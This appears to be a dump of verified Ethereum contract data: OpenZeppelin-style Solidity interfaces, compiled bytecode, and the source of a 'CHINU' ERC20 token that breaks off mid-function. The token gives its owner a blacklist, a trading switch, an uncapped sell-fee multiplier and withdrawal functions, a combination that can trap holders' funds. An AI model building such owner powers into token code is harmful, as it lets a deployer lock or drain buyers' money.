indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80639ec5a89411610097578063dfd1109a11610066578063dfd1109a1461025a578063ea3bb6671461026d578063f2fde38b1461029b578063feb476bd146102ae57600080fd5b80639ec5a894146101f1578063b959f6c314610204578063cd3daf9d14610230578063d8ab8c461461024757600080fd5b80635c518d1b116100d35780635c518d1b1461017857806360d3d7a11461018b578063715018a6146101c45780638da5cb5b146101cc57600080fd5b8063174e31c4146101055780633ea837ec1461011a578063454a75521461012d578063526fb2dd14610165575b600080fd5b610118610113366004610ed9565b6102c1565b005b610118610128366004610f5f565b610438565b61015061013b366004610fb6565b60046020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b610118610173366004610fd3565b610507565b61011861018636600461100c565b610585565b610150610199366004610ed9565b6001600160a01b03919091166000908152600660209081526040808320938352929052205460ff1690565b61011861061a565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161015c565b6002546101d9906001600160a01b031681565b610150610212366004610fb6565b6001600160a01b031660009081526007602052604090205460ff1690565b61023960035481565b60405190815260200161015c565b610118610255366004611043565b610650565b610118610268366004610fd3565b610730565b61015061027b366004610ed9565b600560209081526000928352604080842090915290825290205460ff1681565b6101186102a9366004610fb6565b6107ae565b6101186102bc3660046110ab565b610849565b6001600160a01b038216600090815260046020526040902054829060ff1615156001146103295760405162461bcd60e51b81526020600482015260116024820152701d1bdad95b881b9bdd08195b98589b1959607a1b60448201526064015b60405180910390fd5b3360009081526007602052604090205460ff16156103835760405162461bcd60e51b81526020600482015260176024820152761d1bdad95b881a1bdb19195c881a5cc8189b1bd8dad959604a1b6044820152606401610320565b600260015414156103d65760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610320565b60026001556103e583836109f9565b6003546040805184815260208101929092526001600160a01b0385169133917ffe7c5fc89da23a432c91f264decb100ab9d08ab7b14650c3cdb9b6b4f84a60e9910160405180910390a350506001805550565b6000546001600160a01b031633146104625760405162461bcd60e51b815260040161032090611100565b60005b828110156104d45781156007600086868581811061048557610485611135565b905060200201602081019061049a9190610fb6565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806104cc8161114b565b915050610465565b50604051811515907f3e3a6b7e882c132edf30c1707ba5aa52f293e21298ce0e5095c01c1667349c8690600090a2505050565b6000546001600160a01b031633146105315760405162461bcd60e51b815260040161032090611100565b6001600160a01b038216600081815260076020526040808220805460ff191685159081179091559051901592917fe21806ed292c33f3ca7052dd29168cb45cb6c670a1e7049588bddd43a1fcb6af91a35050565b6000546001600160a01b031633146105af5760405162461bcd60e51b815260040161032090611100565b6001600160a01b0383166000818152600660209081526040808320868452825291829020805460ff191685159081179091559151858152911592917f13cc58bc13c24f38001bb3626d795c5a4762fdf53903df450548b09f6eec41d7910160405180910390a3505050565b6000546001600160a01b031633146106445760405162461bcd60e51b815260040161032090611100565b61064e6000610bd1565b565b6000546001600160a01b0316331461067a5760405162461bcd60e51b815260040161032090611100565b60005b828110156106f1576001600160a01b03851660009081526006602052604081208315918686858181106106b2576106b2611135565b90506020020135815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106e99061114b565b91505061067d565b50604051811515906001600160a01b038616907f1f1ce984e91901b1ebb3b808b184a48a9a945b140ed08642167916dbfa59ec7390600090a350505050565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260040161032090611100565b6001600160a01b038216600081815260046020526040808220805460ff191685151590811790915590519092917f2794078020d634a5aa56db30b216f2ffd9c0d5e5e8a6c2cb48c46e96861dd91f91a35050565b6000546001600160a01b031633146107d85760405162461bcd60e51b815260040161032090611100565b6001600160a01b03811661083d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610320565b61084681610bd1565b50565b6001600160a01b038316600090815260046020526040902054839060ff1615156001146108ac5760405162461bcd60e51b81526020600482015260116024820152701d1bdad95b881b9bdd08195b98589b1959607a1b6044820152606401610320565b3360009081526007602052604090205460ff16156109065760405162461bcd60e51b81526020600482015260176024820152761d1bdad95b881a1bdb19195c881a5cc8189b1bd8dad959604a1b6044820152606401610320565b600260015414156109595760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610320565b600260015560005b8281101561099d5761098b8585858481811061097f5761097f611135565b905060200201356109f9565b806109958161114b565b915050610961565b50836001600160a01b0316336001600160a01b03167fd0dfa21d0316ed9e309efe2d7f3fd4f16e1ac3e5e6d09377fbdcb142de62de2985856003546040516109e793929190611174565b60405180910390a35050600180555050565b6001600160a01b03821660009081526006602090815260408083208484529091529020548290829060ff1615610a665760405162461bcd60e51b81526020600482015260126024820152711d1bdad95b9259081a5cc8189b1bd8dad95960721b6044820152606401610320565b6001600160a01b038416600090815260056020908152604080832086845290915290205460ff1615610ad25760405162461bcd60e51b81526020600482015260156024820152741d1bdad95b88185b1c9958591e4818db185a5b5959605a1b6044820152606401610320565b6040516331a9108f60e11b81526004810184905233906001600160a01b03861690636352211e90602401602060405180830381865afa158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3d91906111ba565b6001600160a01b031614610b895760405162461bcd60e51b81526020600482015260136024820152723bb937b733903a37b5b2b724b21037bbb732b960691b6044820152606401610320565b6001600160a01b0380851660009081526005602090815260408083208784529091529020805460ff19166001179055600354600254610bcb9216903390610c21565b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610c73908490610c78565b505050565b6000610ccd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610d4a9092919063ffffffff16565b805190915015610c735780806020019051810190610ceb91906111d7565b610c735760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610320565b6060610d598484600085610d63565b90505b9392505050565b606082471015610dc45760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610320565b843b610e125760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610320565b600080866001600160a01b03168587604051610e2e9190611220565b60006040518083038185875af1925050503d8060008114610e6b576040519150601f19603f3d011682016040523d82523d6000602084013e610e70565b606091505b5091509150610e80828286610e8b565b979650505050505050565b60608315610e9a575081610d5c565b825115610eaa5782518084602001fd5b8160405162461bcd60e51b8152600401610320919061123c565b6001600160a01b038116811461084657600080fd5b60008060408385031215610eec57600080fd5b8235610ef781610ec4565b946020939093013593505050565b60008083601f840112610f1757600080fd5b50813567ffffffffffffffff811115610f2f57600080fd5b6020830191508360208260051b8501011115610f4a57600080fd5b9250929050565b801515811461084657600080fd5b600080600060408486031215610f7457600080fd5b833567ffffffffffffffff811115610f8b57600080fd5b610f9786828701610f05565b9094509250506020840135610fab81610f51565b809150509250925092565b600060208284031215610fc857600080fd5b8135610d5c81610ec4565b60008060408385031215610fe657600080fd5b8235610ff181610ec4565b9150602083013561100181610f51565b809150509250929050565b60008060006060848603121561102157600080fd5b833561102c81610ec4565b9250602084013591506040840135610fab81610f51565b6000806000806060858703121561105957600080fd5b843561106481610ec4565b9350602085013567ffffffffffffffff81111561108057600080fd5b61108c87828801610f05565b90945092505060408501356110a081610f51565b939692955090935050565b6000806000604084860312156110c057600080fd5b83356110cb81610ec4565b9250602084013567ffffffffffffffff8111156110e757600080fd5b6110f386828701610f05565b9497909650939450505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561116d57634e487b7160e01b600052601160045260246000fd5b5060010190565b6040808252810183905260006001600160fb1b0384111561119457600080fd5b8360051b8086606085013760009083016060019081526020909201929092529392505050565b6000602082840312156111cc57600080fd5b8151610d5c81610ec4565b6000602082840312156111e957600080fd5b8151610d5c81610f51565b60005b8381101561120f5781810151838201526020016111f7565b83811115610bcb5750506000910152565b600082516112328184602087016111f4565b9190910192915050565b602081526000825180602084015261125b8160408501602087016111f4565b601f01601f1916919091016040019291505056fea264697066735822122020566d87eab9d0f962a08ec3c22e8aa5387a214fc2c63e4bf6f5e70208e99c7964736f6c634300080b0033
[ 38 ]
0xf36750f9eb97e2b5a8dfd883176075d915a5d3dc
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface InterfaceLP { function sync() external; } contract CHINU is ERC20, Auth { using SafeMath for uint256; address WETH; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "Chinu"; string constant _symbol = "$CHINU"; uint8 constant _decimals = 4; uint256 _totalSupply = 1 * 10**9 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply / 1000; uint256 public _maxWalletToken = _totalSupply / 1000; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; bool public privateSaleLimitsEnabled = false; mapping (address => bool) privateSaleHolders; uint256 public _maxPvtSellAmount; uint256 public cooldownTimerInterval = 24 hours; mapping (address => uint) public cooldownTimer; bool public blacklistMode = true; mapping (address => bool) public isBlacklisted; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; uint256 public liquidityFee = 1; uint256 public marketingFee = 3; uint256 public buybackFee = 2; uint256 public teamFee = 3; uint256 public burnFee = 0; uint256 public totalFee = teamFee + marketingFee + liquidityFee + buybackFee + burnFee; uint256 public feeDenominator = 100; uint256 public sellMultiplier = 266; uint256 public percentForLPBurn = 10; //.10% LP burn bool public autoBurnEnabled = false; uint256 public lastLpBurnTime; uint256 public lpBurnFrequency = 15 minutes; address public autoLiquidityReceiver; address public marketingFeeReceiver; address public buybackFeeReceiver; address public teamFeeReceiver; address public burnFeeReceiver; uint256 targetLiquidity = 5; uint256 targetLiquidityDenominator = 100; IDEXRouter public router; address public pair; InterfaceLP public pairContract; bool public tradingOpen = false; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 1 / 5000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = router.WETH(); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); pairContract = InterfaceLP(pair); _allowances[address(this)][address(router)] = type(uint256).max; isFeeExempt[msg.sender] = true; isTxLimitExempt[msg.sender] = true; autoLiquidityReceiver = msg.sender; marketingFeeReceiver = 0x3CBb10cED5A50D95042bbe9a21209BE67F9B3C36; buybackFeeReceiver = 0x7b12f81Cff87df25863BD793dA6F8E2AD18a53b8; teamFeeReceiver = 0x1dc605A2C016e6eCFAeBEa299C46A0CcC469063a; burnFeeReceiver = DEAD; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() { _maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000; } function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner() { _maxTxAmount = (_totalSupply * maxTXPercentage_base10000 ) / 10000; } function setPvtSaleRestrictions(uint256 maxPvtSellPercentage_base10000, bool _restricted, uint256 _interval) external onlyOwner() { _maxPvtSellAmount = (_totalSupply * maxPvtSellPercentage_base10000 ) / 10000; privateSaleLimitsEnabled = _restricted; cooldownTimerInterval = _interval; } function manage_pvtseller(address[] calldata addresses, bool status) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { privateSaleHolders[addresses[i]] = status; } } function setPvtSaleRestrictions_maxsell(uint256 amount) external authorized { _maxPvtSellAmount = amount; } function setTxLimit(uint256 amount) external authorized { _maxTxAmount = amount; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if(!authorizations[sender] && !authorizations[recipient]){ require(tradingOpen,"Trading not open yet"); } // Blacklist if(blacklistMode){ require(!isBlacklisted[sender],"Blacklisted"); } // cooldown timer, for pvt sellers if (privateSaleHolders[sender] && privateSaleLimitsEnabled) { require(cooldownTimer[sender] < block.timestamp,"Pvt seller time restricted"); require(amount <= _maxPvtSellAmount,"Pvt seller have max sell restriction"); cooldownTimer[sender] = block.timestamp + cooldownTimerInterval; } if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver){ uint256 heldTokens = balanceOf(recipient); require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");} // Checks max transaction limit checkTxLimit(sender, amount); if(shouldSwapBack()){ swapBack(); } else if(!authorizations[sender] && !authorizations[recipient] && !isFeeExempt[sender] && recipient == pair && autoBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency){ autoburn_LP(); } //Exchange tokens _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair)); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) { uint256 multiplier = isSell ? sellMultiplier : 100; uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100); uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee); uint256 contractTokens = feeAmount.sub(burnTokens); _balances[address(this)] = _balances[address(this)].add(contractTokens); _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens); emit Transfer(sender, address(this), contractTokens); if(burnTokens > 0){ emit Transfer(sender, burnFeeReceiver, burnTokens); } return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function clearStuckBalance(uint256 amountPercentage) external authorized { uint256 amountETH = address(this).balance; payable(msg.sender).transfer(amountETH * amountPercentage / 100); } function clearStuckToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool) { if(tokens == 0){ tokens = ERC20(tokenAddress).balanceOf(address(this)); } return ERC20(tokenAddress).transfer(msg.sender, tokens); } function set_sell_multiplier(uint256 _multiplier) external onlyOwner{ sellMultiplier = _multiplier; } // switch Trading function tradingStatus(bool _status) public onlyOwner { tradingOpen = _status; } function swapBack() internal swapping { uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee; uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); uint256 amountETHteam = amountETH.mul(teamFee).div(totalETHFee); uint256 amountETHBuyback = amountETH.mul(buybackFee).div(totalETHFee); (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing}(""); (tmpSuccess,) = payable(buybackFeeReceiver).call{value: amountETHBuyback}(""); (tmpSuccess,) = payable(teamFeeReceiver).call{value: amountETHteam}(""); // life sucks tmpSuccess = false; if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function enable_blacklist(bool _status) public onlyOwner { blacklistMode = _status; } function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner { for (uint256 i; i < addresses.length; ++i) { isBlacklisted[addresses[i]] = status; } } function setIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _buybackFee, uint256 _burnFee, uint256 _feeDenominator) external authorized { liquidityFee = _liquidityFee; teamFee = _teamFee; marketingFee = _marketingFee; buybackFee = _buybackFee; burnFee = _burnFee; totalFee = _liquidityFee.add(_teamFee).add(_marketingFee).add(_buybackFee).add(_burnFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/2, "Fees cannot be more than 50%"); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _buybackFeeReceiver, address _burnFeeReceiver, address _teamFeeReceiver) external authorized { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; buybackFeeReceiver = _buybackFeeReceiver; burnFeeReceiver = _burnFeeReceiver; teamFeeReceiver = _teamFeeReceiver; } function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized { swapEnabled = _enabled; swapThreshold = _amount; } function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized { targetLiquidity = _target; targetLiquidityDenominator = _denominator; } function getCirculatingSupply() public view returns (uint256) { return 